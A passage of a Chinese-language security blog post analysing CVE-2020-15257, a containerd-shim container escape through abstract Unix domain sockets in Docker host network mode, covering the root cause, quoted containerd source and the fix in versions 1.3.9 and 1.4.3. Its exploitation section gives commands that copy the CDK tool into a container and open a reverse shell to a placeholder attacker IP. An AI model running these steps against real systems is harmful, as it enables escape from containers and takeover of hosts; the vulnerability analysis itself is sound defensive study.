它是一个合法的Linux文件路径,以NULL结尾。在绑定一个Unix域套接字时,会在文件系统中的相应位置上创建一个文件,当不再需要这个Unix域套接字时,可以使用remove()函数或者unlink()函数将这个对应的文件删除。如果在文件系统中,已经有了一个文件和指定的路径名相同,则绑定会失败
  • 抽象名字空间路径:
抽象名字空间路径以NULL开始,后面可以跟任何数据,甚至可以是NULL,可以不以NULL结尾。相对于普通的文件路径,这种地址在文件系统上并没有实际的文件与它相对应。
也就是说,它不会在文件系统中创建出一个新的文件。在Unix域套接字的文件描述符关闭的时候就会自动消失,所以无需担心与文件系统中已存在的文件产生命名冲突,也不需要在使用完套接字之后删除附带产生的这个文件
 

docker网络模式

在使用docker run命令创建并运行容器时,可以使用–network选项指定容器的网络模式。
Docker有以下4种网络模式:
  • none:这种模式下容器内部只有loopback回环网络,没有其他网卡,不能访问外网,完全封闭的网络;
  • container:指定一个已经存在的容器名字,新的容器会和这个已经存在的容器共享一个网络命名空间,IP、端口范围也一起在这两个容器中共享;
  • bridge:这是docker默认的网络模式,会为每一个容器分配网络命名空间,设置IP,保证容器内的进程使用独立的网络环境,使得容器和容器之间、容器和主机之间实现网络隔离;
  • host:这种模式下,容器和主机已经没有网络隔离了,它们共享同一个网络命名空间,容器的网络配置和主机完全一样,使用主机的IP地址和端口,可以查看到主机所有网卡信息、网络资源,在网络性能上没有损耗。
但也正是因为没有网络隔离,容器和主机容易产生网络资源冲突、争抢,以及其他的一些问题。本文所述漏洞也是在这种模式下产生的。
 

漏洞原因

每次启动一个容器时,containerd会创建一个新的containerd-shim进程,由containerd-shim进程(而不是containerd)来直接控制容器的整个生命周期。
 
containerd在创建containerd-shim之前,会创建一个Unix域套接字,设置的是抽象名字空间路径:
func (b *bundle) shimAddress(namespace string) string { d := sha256.Sum256([]byte(filepath.Join(namespace, b.id))) return filepath.Join(string(filepath.Separator), "containerd-shim", fmt.Sprintf("%x.sock", d)) }
func WithStart(binary, address, daemonAddress, cgroup string, debug bool, exitHandler func()) Opt { return func(ctx context.Context, config shim.Config) (_ shimapi.ShimService, _ io.Closer, err error) { socket, err := newSocket(address) if err != nil { return nil, nil, err } defer socket.Close() f, err := socket.File() ... cmd, err := newCommand(binary, daemonAddress, debug, config, f, stdoutLog, stderrLog) if err != nil { return nil, nil, err } if err := cmd.Start(); err != nil { return nil, nil, errors.Wrapf(err, "failed to start shim") } ... func newCommand(binary, daemonAddress string, debug bool, config shim.Config, socket *os.File, stdout, stderr io.Writer) (*exec.Cmd, error) { selfExe, err := os.Executable() if err != nil { return nil, err } args := []string{ "-namespace", config.Namespace, "-workdir", config.WorkDir, "-address", daemonAddress, "-containerd-binary", selfExe, } ... cmd := exec.Command(binary, args...) ... cmd.ExtraFiles = append(cmd.ExtraFiles, socket) cmd.Env = append(os.Environ(), "GOMAXPROCS=2") ... func newSocket(address string) (*net.UnixListener, error) { if len(address) > 106 { return nil, errors.Errorf("%q: unix socket path too long (> 106)", address) } l, err := net.Listen("unix", "\x00"+address)
注意最后一行中,address前面加上了一个\x00,这个就表示抽象名字空间路径的Unix域套接字
 
containerd传递Unix域套接字文件描述符给containerd-shim。containerd-shim在正式启动之后,会基于父进程(也就是containerd)传递的Unix域套接字文件描述符,建立gRPC服务,对外暴露一些API用于container、task的控制: containerd/shim.proto at v1.4.2 · containerd/containerd · GitHub
service Shim { // State returns shim and task state information. rpc State(StateRequest) returns (StateResponse); rpc Create(CreateTaskRequest) returns (CreateTaskResponse); rpc Start(StartRequest) returns (StartResponse); rpc Delete(google.protobuf.Empty) returns (DeleteResponse); rpc DeleteProcess(DeleteProcessRequest) returns (DeleteResponse); rpc ListPids(ListPidsRequest) returns (ListPidsResponse); rpc Pause(google.protobuf.Empty) returns (google.protobuf.Empty); rpc Resume(google.protobuf.Empty) returns (google.protobuf.Empty); rpc Checkpoint(CheckpointTaskRequest) returns (google.protobuf.Empty); rpc Kill(KillRequest) returns (google.protobuf.Empty); rpc Exec(ExecProcessRequest) returns (google.protobuf.Empty); rpc ResizePty(ResizePtyRequest) returns (google.protobuf.Empty); rpc CloseIO(CloseIORequest) returns (google.protobuf.Empty); // ShimInfo returns information about the shim. rpc ShimInfo(google.protobuf.Empty) returns (ShimInfoResponse); rpc Update(UpdateTaskRequest) returns (google.protobuf.Empty); rpc Wait(WaitRequest) returns (WaitResponse); }
此时,containerd-shim做为server向外提供服务,containerd做为client,调用containerd-shim提供的API实现对容器的间接管理。
 
抽象Unix域套接字没有权限限制,所以只能靠连接进程的UID、GID做访问控制,限定了只能是root(UID=0,GID=0)用户才能连接成功。
 
// UnixSocketRequireUidGid requires specific *effective* UID/GID, rather than the real UID/GID. // // For example, if a daemon binary is owned by the root (UID 0) with SUID bit but running as an // unprivileged user (UID 1001), the effective UID becomes 0, and the real UID becomes 1001. // So calling this function with uid=0 allows a connection from effective UID 0 but rejects // a connection from effective UID 1001. // // See socket(7), SO_PEERCRED: "The returned credentials are those that were in effect at the time of the call to connect(2) or socketpair(2)." func UnixSocketRequireUidGid(uid, gid int) UnixCredentialsFunc { return func(ucred *unix.Ucred) error { return requireUidGid(ucred, uid, gid) } } ... func UnixSocketRequireSameUser() UnixCredentialsFunc { euid, egid := os.Geteuid(), os.Getegid() return UnixSocketRequireUidGid(euid, egid) } ... func requireUidGid(ucred *unix.Ucred, uid, gid int) error { if (uid != -1 && uint32(uid) != ucred.Uid) || (gid != -1 && uint32(gid) != ucred.Gid) { return errors.Wrap(syscall.EPERM, "ttrpc: invalid credentials") } return nil }
通过访问/proc/net/unix文件,可以获取到当前网络命名空间下所有的Unix域套接字信息。
 
在默认情况下,docker run启动的容器的网络模式是bridge,容器和主机之间实现了网络隔离,所以在容器内部读取/proc/net/unix文件,看不到任何信息,如下所示:
root@ubuntu ~# docker run -it --rm busybox cat /proc/net/unix Num RefCount Protocol Flags Type St Inode Path
但是在host模式下,由于容器和主机共享同一个网络命名空间,容器能访问到主机中的所有网络资源,所以在容器内部读取/proc/net/unix文件,显示的就是真实主机中的信息,如下所示:
notion image
  • /var/run/docker.sock:Docker Daemon监听的Unix域套接字,用于Docker client之间通信;
  • /run/containerd/containerd.sock:containerd监听的Unix域套接字,Docker Daemon、ctr可以通过它和containerd通信;
  • @/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock:
这个就是上文所述的,containerd-shim监听的Unix域套接字,containerd通过它和containerd-shim通信,控制管理容器。
 
/var/run/docker.sock、/run/containerd/containerd.sock这两者是普通的文件路径,虽然容器共享了主机的网络命名空间,但没有共享mnt命名空间,容器和主机之间的磁盘挂载点和文件系统仍然存在隔离,所以在容器内部仍然不能通过/var/run/docker.sock、/run/containerd/containerd.sock这样的路径连接对应的Unix域套接字。
 
也就是说:
  • host模式下,容器共享了主机的网络命名空间,也就能够去连接
@/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock
这一类的抽象Unix域套接字。
  • 而且在默认情况下,容器内部的进程都是以root用户启动的,所以也能通过UnixSocketRequireSameUser的校验。
在这两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd-shim监听的抽象Unix域套接字,调用containerd-shim提供的各种API,从而实现容器逃逸。

漏洞利用

推荐阅读:CVE-2020-15257 EXP 开发 ,因为与 containerd-shim 通信与dockerd通信有点不一样,构造传参麻烦些,需要知道containerd-shim的入参
下面直接用集成至 cdk 的 exp 演示
docker run -it --net=host --name=15257 ubuntu /bin/bash
在容器内执行命令cat /proc/net/unix|grep -a “containerd-shim”,查看结果确认是否可看到抽象命名空间Unix域套接字
在攻击端监听1234端口,然后下载漏洞利用工具CDK,并将其传入容器/tmp目录下:
docker cp cdk_linux_amd64 15257:/tmpdocker exec -it 15257 bash
运行工具,执行反弹shell命令,验证得到一个宿主机的shell:
cd /tmp./cdk_linux_amd64 run shim-pwn reverse <attacker-ip> <port>
注:关于该漏洞在利用时出现类似以下内容的问题,可以暂时参考issue #74
rpc error: code = Unknown desc = OCI runtime create failed: exec: "runc": executable file not found in $PATH

漏洞修复

在最新发布的1.3.9和1.4.3版本中,抽象Unix域套接字已经改成了普通文件路径的Unix域套接字
因为containerd和containerd-shim都在容器外部,所以它们之间的连接、通信不受影响;因为有mnt命名空间的隔离,所以在host模式下,容器内部也无法访问普通文件路径的Unix域套接字。也就修复了上述漏洞。
 

参考链接

技术分享
  • 云安全
  • Linux命名空间
  • runC容器逃逸-CVE-2019-5736复现CISP-PTS考证记
    目录